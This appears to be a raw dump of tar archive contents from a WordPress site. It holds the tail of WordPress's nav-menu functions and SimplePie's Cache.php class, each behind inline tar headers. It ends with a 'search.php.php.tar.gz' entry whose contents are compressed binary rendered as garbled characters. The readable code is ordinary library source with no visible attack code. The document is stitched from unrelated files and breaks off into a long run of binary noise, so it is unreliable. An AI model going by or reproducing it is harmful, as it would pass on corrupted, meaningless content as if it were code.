		$items = array_filter( $items, '_is_valid_nav_menu_item' );
	}

	if ( ARRAY_A === $args['output'] ) {
		$items = wp_list_sort(
			$items,
			array(
				$args['output_key'] => 'ASC',
			)
		);

		$i = 1;

		foreach ( $items as $k => $item ) {
			$items[ $k ]->{$args['output_key']} = $i++;
		}
	}

	/**
	 * Filters the navigation menu items being returned.
	 *
	 * @since 3.0.0
	 *
	 * @param array  $items An array of menu item post objects.
	 * @param object $menu  The menu object.
	 * @param array  $args  An array of arguments used to retrieve menu item objects.
	 */
	return apply_filters( 'wp_get_nav_menu_items', $items, $menu, $args );
}

/**
 * Updates post and term caches for all linked objects for a list of menu items.
 *
 * @since 6.1.0
 *
 * @param WP_Post[] $menu_items Array of menu item post objects.
 */
function update_menu_item_cache( $menu_items ) {
	$post_ids = array();
	$term_ids = array();

	foreach ( $menu_items as $menu_item ) {
		if ( 'nav_menu_item' !== $menu_item->post_type ) {
			continue;
		}

		$object_id = get_post_meta( $menu_item->ID, '_menu_item_object_id', true );
		$type      = get_post_meta( $menu_item->ID, '_menu_item_type', true );

		if ( 'post_type' === $type ) {
			$post_ids[] = (int) $object_id;
		} elseif ( 'taxonomy' === $type ) {
			$term_ids[] = (int) $object_id;
		}
	}

	if ( ! empty( $post_ids ) ) {
		_prime_post_caches( $post_ids, false );
	}

	if ( ! empty( $term_ids ) ) {
		_prime_term_caches( $term_ids );
	}
}

/**
 * Decorates a menu item object with the shared navigation menu item properties.
 *
 * Properties:
 * - ID:               The term_id if the menu item represents a taxonomy term.
 * - attr_title:       The title attribute of the link element for this menu item.
 * - classes:          The array of class attribute values for the link element of this menu item.
 * - db_id:            The DB ID of this item as a nav_menu_item object, if it exists (0 if it doesn't exist).
 * - description:      The description of this menu item.
 * - menu_item_parent: The DB ID of the nav_menu_item that is this item's menu parent, if any. 0 otherwise.
 * - object:           The type of object originally represented, such as 'category', 'post', or 'attachment'.
 * - object_id:        The DB ID of the original object this menu item represents, e.g. ID for posts and term_id for categories.
 * - post_parent:      The DB ID of the original object's parent object, if any (0 otherwise).
 * - post_title:       A "no title" label if menu item represents a post that lacks a title.
 * - target:           The target attribute of the link element for this menu item.
 * - title:            The title of this menu item.
 * - type:             The family of objects originally represented, such as 'post_type' or 'taxonomy'.
 * - type_label:       The singular label used to describe this type of menu item.
 * - url:              The URL to which this menu item points.
 * - xfn:              The XFN relationship expressed in the link of this menu item.
 * - _invalid:         Whether the menu item represents an object that no longer exists.
 *
 * @since 3.0.0
 *
 * @param object $menu_item The menu item to modify.
 * @return object The menu item with standard menu item properties.
 */
function wp_setup_nav_menu_item( $menu_item ) {

	/**
	 * Filters whether to short-circuit the wp_setup_nav_menu_item() output.
	 *
	 * Returning a non-null value from the filter will short-circuit wp_setup_nav_menu_item(),
	 * returning that value instead.
	 *
	 * @since 6.3.0
	 *
	 * @param object|null $modified_menu_item Modified menu item. Default null.
	 * @param object      $menu_item          The menu item to modify.
	 */
	$pre_menu_item = apply_filters( 'pre_wp_setup_nav_menu_item', null, $menu_item );

	if ( null !== $pre_menu_item ) {
		return $pre_menu_item;
	}

	if ( isset( $menu_item->post_type ) ) {
		if ( 'nav_menu_item' === $menu_item->post_type ) {
			$menu_item->db_id            = (int) $menu_item->ID;
			$menu_item->menu_item_parent = ! isset( $menu_item->menu_item_parent ) ? get_post_meta( $menu_item->ID, '_menu_item_menu_item_parent', true ) : $menu_item->menu_item_parent;
			$menu_item->object_id        = ! isset( $menu_item->object_id ) ? get_post_meta( $menu_item->ID, '_menu_item_object_id', true ) : $menu_item->object_id;
			$menu_item->object           = ! isset( $menu_item->object ) ? get_post_meta( $menu_item->ID, '_menu_item_object', true ) : $menu_item->object;
			$menu_item->type             = ! isset( $menu_item->type ) ? get_post_meta( $menu_item->ID, '_menu_item_type', true ) : $menu_item->type;

			if ( 'post_type' === $menu_item->type ) {
				$object = get_post_type_object( $menu_item->object );
				if ( $object ) {
					$menu_item->type_label = $object->labels->singular_name;
					// Denote post states for special pages (only in the admin).
					if ( function_exists( 'get_post_states' ) ) {
						$menu_post   = get_post( $menu_item->object_id );
						$post_states = get_post_states( $menu_post );
						if ( $post_states ) {
							$menu_item->type_label = wp_strip_all_tags( implode( ', ', $post_states ) );
						}
					}
				} else {
					$menu_item->type_label = $menu_item->object;
					$menu_item->_invalid   = true;
				}

				if ( 'trash' === get_post_status( $menu_item->object_id ) ) {
					$menu_item->_invalid = true;
				}

				$original_object = get_post( $menu_item->object_id );

				if ( $original_object ) {
					$menu_item->url = get_permalink( $original_object->ID );
					/** This filter is documented in wp-includes/post-template.php */
					$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );
				} else {
					$menu_item->url      = '';
					$original_title      = '';
					$menu_item->_invalid = true;
				}

				if ( '' === $original_title ) {
					/* translators: %d: ID of a post. */
					$original_title = sprintf( __( '#%d (no title)' ), $menu_item->object_id );
				}

				$menu_item->title = ( '' === $menu_item->post_title ) ? $original_title : $menu_item->post_title;

			} elseif ( 'post_type_archive' === $menu_item->type ) {
				$object = get_post_type_object( $menu_item->object );
				if ( $object ) {
					$menu_item->title      = ( '' === $menu_item->post_title ) ? $object->labels->archives : $menu_item->post_title;
					$post_type_description = $object->description;
				} else {
					$post_type_description = '';
					$menu_item->_invalid   = true;
				}

				$menu_item->type_label = __( 'Post Type Archive' );
				$post_content          = wp_trim_words( $menu_item->post_content, 200 );
				$post_type_description = ( '' === $post_content ) ? $post_type_description : $post_content;
				$menu_item->url        = get_post_type_archive_link( $menu_item->object );

			} elseif ( 'taxonomy' === $menu_item->type ) {
				$object = get_taxonomy( $menu_item->object );
				if ( $object ) {
					$menu_item->type_label = $object->labels->singular_name;
				} else {
					$menu_item->type_label = $menu_item->object;
					$menu_item->_invalid   = true;
				}

				$original_object = get_term( (int) $menu_item->object_id, $menu_item->object );

				if ( $original_object && ! is_wp_error( $original_object ) ) {
					$menu_item->url = get_term_link( (int) $menu_item->object_id, $menu_item->object );
					$original_title = $original_object->name;
				} else {
					$menu_item->url      = '';
					$original_title      = '';
					$menu_item->_invalid = true;
				}

				if ( '' === $original_title ) {
					/* translators: %d: ID of a term. */
					$original_title = sprintf( __( '#%d (no title)' ), $menu_item->object_id );
				}

				$menu_item->title = ( '' === $menu_item->post_title ) ? $original_title : $menu_item->post_title;

			} else {
				$menu_item->type_label = __( 'Custom Link' );
				$menu_item->title      = $menu_item->post_title;
				$menu_item->url        = ! isset( $menu_item->url ) ? get_post_meta( $menu_item->ID, '_menu_item_url', true ) : $menu_item->url;
			}

			$menu_item->target = ! isset( $menu_item->target ) ? get_post_meta( $menu_item->ID, '_menu_item_target', true ) : $menu_item->target;

			/**
			 * Filters a navigation menu item's title attribute.
			 *
			 * @since 3.0.0
			 *
			 * @param string $item_title The menu item title attribute.
			 */
			$menu_item->attr_title = ! isset( $menu_item->attr_title ) ? apply_filters( 'nav_menu_attr_title', $menu_item->post_excerpt ) : $menu_item->attr_title;

			if ( ! isset( $menu_item->description ) ) {
				/**
				 * Filters a navigation menu item's description.
				 *
				 * @since 3.0.0
				 *
				 * @param string $description The menu item description.
				 */
				$menu_item->description = apply_filters( 'nav_menu_description', wp_trim_words( $menu_item->post_content, 200 ) );
			}

			$menu_item->classes = ! isset( $menu_item->classes ) ? (array) get_post_meta( $menu_item->ID, '_menu_item_classes', true ) : $menu_item->classes;
			$menu_item->xfn     = ! isset( $menu_item->xfn ) ? get_post_meta( $menu_item->ID, '_menu_item_xfn', true ) : $menu_item->xfn;
		} else {
			$menu_item->db_id            = 0;
			$menu_item->menu_item_parent = 0;
			$menu_item->object_id        = (int) $menu_item->ID;
			$menu_item->type             = 'post_type';

			$object                = get_post_type_object( $menu_item->post_type );
			$menu_item->object     = $object->name;
			$menu_item->type_label = $object->labels->singular_name;

			if ( '' === $menu_item->post_title ) {
				/* translators: %d: ID of a post. */
				$menu_item->post_title = sprintf( __( '#%d (no title)' ), $menu_item->ID );
			}

			$menu_item->title  = $menu_item->post_title;
			$menu_item->url    = get_permalink( $menu_item->ID );
			$menu_item->target = '';

			/** This filter is documented in wp-includes/nav-menu.php */
			$menu_item->attr_title = apply_filters( 'nav_menu_attr_title', '' );

			/** This filter is documented in wp-includes/nav-menu.php */
			$menu_item->description = apply_filters( 'nav_menu_description', '' );
			$menu_item->classes     = array();
			$menu_item->xfn         = '';
		}
	} elseif ( isset( $menu_item->taxonomy ) ) {
		$menu_item->ID               = $menu_item->term_id;
		$menu_item->db_id            = 0;
		$menu_item->menu_item_parent = 0;
		$menu_item->object_id        = (int) $menu_item->term_id;
		$menu_item->post_parent      = (int) $menu_item->parent;
		$menu_item->type             = 'taxonomy';

		$object                = get_taxonomy( $menu_item->taxonomy );
		$menu_item->object     = $object->name;
		$menu_item->type_label = $object->labels->singular_name;

		$menu_item->title       = $menu_item->name;
		$menu_item->url         = get_term_link( $menu_item, $menu_item->taxonomy );
		$menu_item->target      = '';
		$menu_item->attr_title  = '';
		$menu_item->description = get_term_field( 'description', $menu_item->term_id, $menu_item->taxonomy );
		$menu_item->classes     = array();
		$menu_item->xfn         = '';

	}

	/**
	 * Filters a navigation menu item object.
	 *
	 * @since 3.0.0
	 *
	 * @param object $menu_item The menu item object.
	 */
	return apply_filters( 'wp_setup_nav_menu_item', $menu_item );
}

/**
 * Returns the menu items associated with a particular object.
 *
 * @since 3.0.0
 *
 * @param int    $object_id   Optional. The ID of the original object. Default 0.
 * @param string $object_type Optional. The type of object, such as 'post_type' or 'taxonomy'.
 *                            Default 'post_type'.
 * @param string $taxonomy    Optional. If $object_type is 'taxonomy', $taxonomy is the name
 *                            of the tax that $object_id belongs to. Default empty.
 * @return int[] The array of menu item IDs; empty array if none.
 */
function wp_get_associated_nav_menu_items( $object_id = 0, $object_type = 'post_type', $taxonomy = '' ) {
	$object_id     = (int) $object_id;
	$menu_item_ids = array();

	$query      = new WP_Query();
	$menu_items = $query->query(
		array(
			'meta_key'       => '_menu_item_object_id',
			'meta_value'     => $object_id,
			'post_status'    => 'any',
			'post_type'      => 'nav_menu_item',
			'posts_per_page' => -1,
		)
	);
	foreach ( (array) $menu_items as $menu_item ) {
		if ( isset( $menu_item->ID ) && is_nav_menu_item( $menu_item->ID ) ) {
			$menu_item_type = get_post_meta( $menu_item->ID, '_menu_item_type', true );
			if (
				'post_type' === $object_type &&
				'post_type' === $menu_item_type
			) {
				$menu_item_ids[] = (int) $menu_item->ID;
			} elseif (
				'taxonomy' === $object_type &&
				'taxonomy' === $menu_item_type &&
				get_post_meta( $menu_item->ID, '_menu_item_object', true ) === $taxonomy
			) {
				$menu_item_ids[] = (int) $menu_item->ID;
			}
		}
	}

	return array_unique( $menu_item_ids );
}

/**
 * Callback for handling a menu item when its original object is deleted.
 *
 * @since 3.0.0
 * @access private
 *
 * @param int $object_id The ID of the original object being trashed.
 */
function _wp_delete_post_menu_item( $object_id ) {
	$object_id = (int) $object_id;

	$menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'post_type' );

	foreach ( (array) $menu_item_ids as $menu_item_id ) {
		wp_delete_post( $menu_item_id, true );
	}
}

/**
 * Serves as a callback for handling a menu item when its original object is deleted.
 *
 * @since 3.0.0
 * @access private
 *
 * @param int    $object_id The ID of the original object being trashed.
 * @param int    $tt_id     Term taxonomy ID. Unused.
 * @param string $taxonomy  Taxonomy slug.
 */
function _wp_delete_tax_menu_item( $object_id, $tt_id, $taxonomy ) {
	$object_id = (int) $object_id;

	$menu_item_ids = wp_get_associated_nav_menu_items( $object_id, 'taxonomy', $taxonomy );

	foreach ( (array) $menu_item_ids as $menu_item_id ) {
		wp_delete_post( $menu_item_id, true );
	}
}

/**
 * Automatically add newly published page objects to menus with that as an option.
 *
 * @since 3.0.0
 * @access private
 *
 * @param string  $new_status The new status of the post object.
 * @param string  $old_status The old status of the post object.
 * @param WP_Post $post       The post object being transitioned from one status to another.
 */
function _wp_auto_add_pages_to_menu( $new_status, $old_status, $post ) {
	if ( 'publish' !== $new_status || 'publish' === $old_status || 'page' !== $post->post_type ) {
		return;
	}
	if ( ! empty( $post->post_parent ) ) {
		return;
	}
	$auto_add = get_option( 'nav_menu_options' );
	if ( empty( $auto_add ) || ! is_array( $auto_add ) || ! isset( $auto_add['auto_add'] ) ) {
		return;
	}
	$auto_add = $auto_add['auto_add'];
	if ( empty( $auto_add ) || ! is_array( $auto_add ) ) {
		return;
	}

	$args = array(
		'menu-item-object-id' => $post->ID,
		'menu-item-object'    => $post->post_type,
		'menu-item-type'      => 'post_type',
		'menu-item-status'    => 'publish',
	);

	foreach ( $auto_add as $menu_id ) {
		$items = wp_get_nav_menu_items( $menu_id, array( 'post_status' => 'publish,draft' ) );
		if ( ! is_array( $items ) ) {
			continue;
		}
		foreach ( $items as $item ) {
			if ( $post->ID === (int) $item->object_id ) {
				continue 2;
			}
		}
		wp_update_nav_menu_item( $menu_id, 0, $args );
	}
}

/**
 * Deletes auto-draft posts associated with the supplied changeset.
 *
 * @since 4.8.0
 * @access private
 *
 * @param int $post_id Post ID for the customize_changeset.
 */
function _wp_delete_customize_changeset_dependent_auto_drafts( $post_id ) {
	$post = get_post( $post_id );

	if ( ! $post || 'customize_changeset' !== $post->post_type ) {
		return;
	}

	$data = json_decode( $post->post_content, true );
	if ( empty( $data['nav_menus_created_posts']['value'] ) ) {
		return;
	}
	remove_action( 'delete_post', '_wp_delete_customize_changeset_dependent_auto_drafts' );
	foreach ( $data['nav_menus_created_posts']['value'] as $stub_post_id ) {
		if ( empty( $stub_post_id ) ) {
			continue;
		}
		if ( 'auto-draft' === get_post_status( $stub_post_id ) ) {
			wp_delete_post( $stub_post_id, true );
		} elseif ( 'draft' === get_post_status( $stub_post_id ) ) {
			wp_trash_post( $stub_post_id );
			delete_post_meta( $stub_post_id, '_customize_changeset_uuid' );
		}
	}
	add_action( 'delete_post', '_wp_delete_customize_changeset_dependent_auto_drafts' );
}

/**
 * Handles menu config after theme change.
 *
 * @access private
 * @since 4.9.0
 */
function _wp_menus_changed() {
	$old_nav_menu_locations    = get_option( 'theme_switch_menu_locations', array() );
	$new_nav_menu_locations    = get_nav_menu_locations();
	$mapped_nav_menu_locations = wp_map_nav_menu_locations( $new_nav_menu_locations, $old_nav_menu_locations );

	set_theme_mod( 'nav_menu_locations', $mapped_nav_menu_locations );
	delete_option( 'theme_switch_menu_locations' );
}

/**
 * Maps nav menu locations according to assignments in previously active theme.
 *
 * @since 4.9.0
 *
 * @param array $new_nav_menu_locations New nav menu locations assignments.
 * @param array $old_nav_menu_locations Old nav menu locations assignments.
 * @return array Nav menus mapped to new nav menu locations.
 */
function wp_map_nav_menu_locations( $new_nav_menu_locations, $old_nav_menu_locations ) {
	$registered_nav_menus   = get_registered_nav_menus();
	$new_nav_menu_locations = array_intersect_key( $new_nav_menu_locations, $registered_nav_menus );

	// Short-circuit if there are no old nav menu location assignments to map.
	if ( empty( $old_nav_menu_locations ) ) {
		return $new_nav_menu_locations;
	}

	// If old and new theme have just one location, map it and we're done.
	if ( 1 === count( $old_nav_menu_locations ) && 1 === count( $registered_nav_menus ) ) {
		$new_nav_menu_locations[ key( $registered_nav_menus ) ] = array_pop( $old_nav_menu_locations );
		return $new_nav_menu_locations;
	}

	$old_locations = array_keys( $old_nav_menu_locations );

	// Map locations with the same slug.
	foreach ( $registered_nav_menus as $location => $name ) {
		if ( in_array( $location, $old_locations, true ) ) {
			$new_nav_menu_locations[ $location ] = $old_nav_menu_locations[ $location ];
			unset( $old_nav_menu_locations[ $location ] );
		}
	}

	// If there are no old nav menu locations left, then we're done.
	if ( empty( $old_nav_menu_locations ) ) {
		return $new_nav_menu_locations;
	}

	/*
	 * If old and new theme both have locations that contain phrases
	 * from within the same group, make an educated guess and map it.
	 */
	$common_slug_groups = array(
		array( 'primary', 'menu-1', 'main', 'header', 'navigation', 'top' ),
		array( 'secondary', 'menu-2', 'footer', 'subsidiary', 'bottom' ),
		array( 'social' ),
	);

	// Go through each group...
	foreach ( $common_slug_groups as $slug_group ) {

		// ...and see if any of these slugs...
		foreach ( $slug_group as $slug ) {

			// ...and any of the new menu locations...
			foreach ( $registered_nav_menus as $new_location => $name ) {

				// ...actually match!
				if ( is_string( $new_location ) && false === stripos( $new_location, $slug ) && false === stripos( $slug, $new_location ) ) {
					continue;
				} elseif ( is_numeric( $new_location ) && $new_location !== $slug ) {
					continue;
				}

				// Then see if any of the old locations...
				foreach ( $old_nav_menu_locations as $location => $menu_id ) {

					// ...and any slug in the same group...
					foreach ( $slug_group as $slug ) {

						// ... have a match as well.
						if ( is_string( $location ) && false === stripos( $location, $slug ) && false === stripos( $slug, $location ) ) {
							continue;
						} elseif ( is_numeric( $location ) && $location !== $slug ) {
							continue;
						}

						// Make sure this location wasn't mapped and removed previously.
						if ( ! empty( $old_nav_menu_locations[ $location ] ) ) {

							// We have a match that can be mapped!
							$new_nav_menu_locations[ $new_location ] = $old_nav_menu_locations[ $location ];

							// Remove the mapped location so it can't be mapped again.
							unset( $old_nav_menu_locations[ $location ] );

							// Go back and check the next new menu location.
							continue 3;
						}
					} // End foreach ( $slug_group as $slug ).
				} // End foreach ( $old_nav_menu_locations as $location => $menu_id ).
			} // End foreach foreach ( $registered_nav_menus as $new_location => $name ).
		} // End foreach ( $slug_group as $slug ).
	} // End foreach ( $common_slug_groups as $slug_group ).

	return $new_nav_menu_locations;
}

/**
 * Prevents menu items from being their own parent.
 *
 * Resets menu_item_parent to 0 when the parent is set to the item itself.
 * For use before saving `_menu_item_menu_item_parent` in nav-menus.php.
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $menu_item_data The menu item data array.
 * @return array The menu item data with reset menu_item_parent.
 */
function _wp_reset_invalid_menu_item_parent( $menu_item_data ) {
	if ( ! is_array( $menu_item_data ) ) {
		return $menu_item_data;
	}

	if (
		! empty( $menu_item_data['ID'] ) &&
		! empty( $menu_item_data['menu_item_parent'] ) &&
		(int) $menu_item_data['ID'] === (int) $menu_item_data['menu_item_parent']
	) {
		$menu_item_data['menu_item_parent'] = 0;
	}

	return $menu_item_data;
}
14338/Cache.php.tar000064400000015000151024420100007510 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache.php000064400000011363151024330470025551 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\Cache\Base;

/**
 * Used to create cache objects
 *
 * This class can be overloaded with {@see SimplePie::set_cache_class()},
 * although the preferred way is to create your own handler
 * via {@see register()}
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use "SimplePie\SimplePie::set_cache()" instead
 */
class Cache
{
    /**
     * Cache handler classes
     *
     * These receive 3 parameters to their constructor, as documented in
     * {@see register()}
     * @var array
     */
    protected static $handlers = [
        'mysql'     => 'SimplePie\Cache\MySQL',
        'memcache'  => 'SimplePie\Cache\Memcache',
        'memcached' => 'SimplePie\Cache\Memcached',
        'redis'     => 'SimplePie\Cache\Redis'
    ];

    /**
     * Don't call the constructor. Please.
     */
    private function __construct()
    {
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @param string $location URL location (scheme is used to determine handler)
     * @param string $filename Unique identifier for cache object
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension 'spi' or 'spc'
     * @return Base Type of object depends on scheme of `$location`
     */
    public static function get_handler($location, $filename, $extension)
    {
        $type = explode(':', $location, 2);
        $type = $type[0];
        if (!empty(self::$handlers[$type])) {
            $class = self::$handlers[$type];
            return new $class($location, $filename, $extension);
        }

        return new \SimplePie\Cache\File($location, $filename, $extension);
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @deprecated since SimplePie 1.3.1, use {@see get_handler()} instead
     */
    public function create($location, $filename, $extension)
    {
        trigger_error('Cache::create() has been replaced with Cache::get_handler() since SimplePie 1.3.1, use the registry system instead.', \E_USER_DEPRECATED);

        return self::get_handler($location, $filename, $extension);
    }

    /**
     * Register a handler
     *
     * @param string $type DSN type to register for
     * @param class-string<Base> $class Name of handler class. Must implement Base
     */
    public static function register($type, $class)
    {
        self::$handlers[$type] = $class;
    }

    /**
     * Parse a URL into an array
     *
     * @param string $url
     * @return array
     */
    public static function parse_URL($url)
    {
        $params = parse_url($url);
        $params['extras'] = [];
        if (isset($params['query'])) {
            parse_str($params['query'], $params['extras']);
        }
        return $params;
    }
}

class_alias('SimplePie\Cache', 'SimplePie_Cache');
14338/search.php.php.tar.gz000064400000012550151024420100011166 0ustar00��<ks�6��U��J
��p��Y�����eo]�s�����H�c9!Hɓ���u7A͌�${u��cD��F��Y1��R���O�a\�s!c��8<O�i���dRd��Ϋ�8.�7�0��N�<�ʊ��<����l��-������#��Ǐ�z|����G'�N�~u
���ّ׽jY���5��<}g�}����Kv)�kQ�2M+E��$�V�{����ѹ����{>�L^�0Ixz�m�~��<�y�-5Z��	�t�p|ľ�H��Q9{w���K�E��U ���%��l�x��z��J����f0�	��9Ps39˅HDb��s�˒/|vyU��U]	���Dk�- Y�(.�J�"@ ɯE��C���B���2�@�L)EU��Y��4Qs^��c���*^)�G4#B�G
f����?�[���Lf `�9�K{�DLx�U@e�Jd�o@T��"Lr8�wQ���'`���2/��W@x�d�BV�x�S8��,��]��Ż1�����py	�4!:���;Is������oo�8�e#:���S���e��O|��:�:����<�)������6�拺�҄Y���ӟj#
�#T��"�
���3.%���B�>�&�j�@DrV�D���L�ղ3���~C�x��k�]
����
��|'�+0huX!ؿ��B�(���}��"T#���� �؄g UOXU��P��������l�',�����ˈT_���&��5��e��ZRY�s΂�]9R��K��%��2kD朩?ז���`&	��d*��3�6�j�(�%_̖-R��?�6�T�3�!/�R&��nt9T��32?/�5�i%f0�#t=h���E���Ю�L�WHe g�?gW4X��.�5�|C�	�}3K%��eʯ2��;G���44�i��Y�Ʋ��Zs8fx8/���۫
��L���9X	&a�†��;�#� �0#�X�{
��gR�+Ȅ��e���!cJ��:V̪y���Ό�5�fP00��y蟆���Z]���
z�����7�>�^�E�QQ�3�^M`��
p�xW^��ʧ���"��f6�@ocDD:c�Ë�MT��r�[f@�|4�
@,�b�� �f2O%?>��=��-��ׯY-�]
���Q�f��./���	��	t	D��}���P�<,�	+r�
�����*(�L��(v�0���e?�i	��'}M��CgML�*���Ca@Њ��7y�c�Z�F^:�������!��[X�O���u��|�	�5k�ڢ��s!M<z00��LGc��O>v����bV`����za�Q4h='`��|��p��ň�V�P%7`q��5�g��$ di��?�aЪk�'���[üH;5'�i�|��R���@�y)�`��	Z`��ja�^��\�<�ӵ@o~������?͓0D7��$9�4x@yևj�Je�_!��Le
�j�^s�����W�q�Đ�<IT*#�5�Қ���T�$��*��h^5��VK���+����[��4&Ϛ$*$@=��n���ڪ���k�蜩��݉Z�;���CpH��9\�]��B����-�@t|�XN��]�ve���O¨���$!c�ݾY���\��{{��ڸh��ƴ�6�kR
e�'���	�]��.�Z���^ԋ�k��C��L�k�{?�D�4�#pʶ�ڡ����uq����Κ�k�e��g۷��^^OUj`B�y����p�s�w���a7iR��w��L��YE�/����f,9���C�8���𔝌��������c��=d�_e0�O�=ӿ������,=S�0��1����ǧ��1��~���1,{K��PxB��%}c�/FD0���~�����C܇���C��EЈ$:FU�&s�eC�M�����i�\D�5�����7����w��5��yZ�@�w�A��zq���@;e����GG[��p|��8�(̞�`E��ѳ�ܶ���Ͼ���͐��/�Lv�4O�R�9�`��b]�(VT�����8K��S�W�1
��j�	PL�_��P���8��!�*6��A#�+ه=X��*��ySa��������X�%`������LP��
��:#������ž�~6ଟ芠�ȲzV�<M�k�<��e��&�d�i�P*b��2/����Q#��dXx�ޘ��6*�o�j��SPT%��������dQ��.�h�ϣ6ٲK�ۃ)�7I[/��E�Qe��H,.��W�hXS�:s��3����mZH`�1m����6����Ʒ���o2��N�n���WI��/Zu�����f��E.�KÉ��p��0i�8�9jc�@[�|�c59wp�_�]h��0�)�%:�;߹5�ݱ����r��a�^,�����P]Q��jptRĵ,���W=�����I�ei[�<�mU�梚��:�0��c�'��=���B��.�}6+ ��o�!�2
}eyo��9�L,3Dz���`�̃}k,XS)�:�N��d|�veBO9�4�GM�b�8�r2��~�m��hj�3����z��/��C��C~�ƈQ���r�^#��Z��[/�4K�`
2���50ڲ�p4)��x�<�{
�u���s����n,4�[��a���m��W&]P+s߉���;5Y@K
�?Ce����7I@]�R�����n�\��:��͒��7I�MV��L���V��������g��N��{Wr��8q�Jxt~]��}Z睌��lO-ϩ�s�s���XQ7vj
>#7M�E	�KY-��NA5�^��2{�Ѭ�����we�*MJ�]&�.U��r��Y�*J)P��H���L�)��?��%;�[���F�h*��Y&�1+&�L7�qkǫS��9M�Ma �{E��Y�~�ܱ��Y���n�Q�y��vev��OǪ��э�>j��ן.p�<S�tLt&i\���U���L��“����a{8`���5xA�J٧�Lv�&����\���r2�EE���?�K�H,��;=sŀ`:�`Ԟ�H�~ľpx�O:��J���Ğu��,I�Ӷ�O�P~O�
�ݱ֣+Sv� #��$�Q�F�dĎFf��uG�0H����������ƛ�ZZ��3�}�z�
��������9Q��2ҷ�Yg�}���>v�=<�M��M�ٵ��dۘ�墰C����t�d��E[o�)o
��aH��<�c������Dx�9�@��T��]bO���jKؓ��V*z��U�m�"J�`�'lO���I�~WK	U�<��uo+lu�[�D��!��V��x`�`�*D����H�h����#cE�nSk
���[�����L�g�h:$���ߤ@B�') ��{�]��E��֥�a�vGg�y��s1wagݳ�]6��=�-�-�����|U��o�t&&w��'���s�-�	XE�c��yw�X&44�;��M�e�u��A��%A�DŽE�5`�R�@�]_�5Z
�eb9,���5�1��Β6AdW���H��e�(׺ӫ�ɵ�w,)�Kr��m�:fe�+��:6�ٕ�-�T:��	tFU
{h�T��w��o�T7:��H^E��
�5SwZ�'�vf���V=�'����)�a!����WGvT���% mwo(yiZ9�P�{�ZN�HI�����7���Ԅ�bֱ��J`~��L·�z.�K���t$Q���_�!"�`�N�� ���E��P�ӢW��s<Z|�}��β���0!:A�u��)��o�+6��@�oq*��֝�.b�T�^,�W
A)�D:^�58XC���
D����
�uuA�*��@�n($�Өt;�L�Ϟ>���������N��� ʃ�օ����tx`o^����B{6C�-��F<u4��+T����lm�3`ݍԝ�-o��!�L맚δKx�c-�R�Ӓ&"0�����`H���DP�]�f�@�
��[��O��VZV�~�<���$�#p��e�0�=�o�\���ͱ|�n��^E�G=e�x&T�9�ݿ^&����J���/j�����>�,�>��?s�Y6+!��g6r�7u���ڕ����.6���s
�qi�
�6�u#��[3�8�b��T*k��qs�J��V�zEy�į�Z��~�湞���M$��N�A�
6���)�_���m�,L�K^4�)K��U�˂MˢΓ��oA{{�a]c'-L�ɦzT4[�Al�y4ţ�2�;3 �}�(7�֚r�r�7A�
��ƫ�w,�3�qYH�(ڸ�Ω�;������&ɞ�B��z~S#�_�3O{w���3?;&v�ቚ�oZ�Q{5�\�ԝA�~8�y[�����li0Z�u�����%Mo�h��8tz\�	��٤�~��n�S�c6��/b&kg��=/M�~�-�����v���?�%Bu��=�,i77���{5�I>�QO�Jߩx�Β�j��X���]R�������c.�v�qj1�GM�CN��r:6�q�vHqn��4I۔Z'�[���0��
%vL����=0�2�Y��	�C�iU�V4@>�Z�Mp���"����ݺ�NE�3~o�*|�_1p�q�.Ug���>�����xd8�U�s	S�e����8~_q�DC6��ڍ���p��D�l����X~��t�3Yt���x���O�M�S|P�����V��=-��}�n�4����U�!�{n���-7���ɸ��
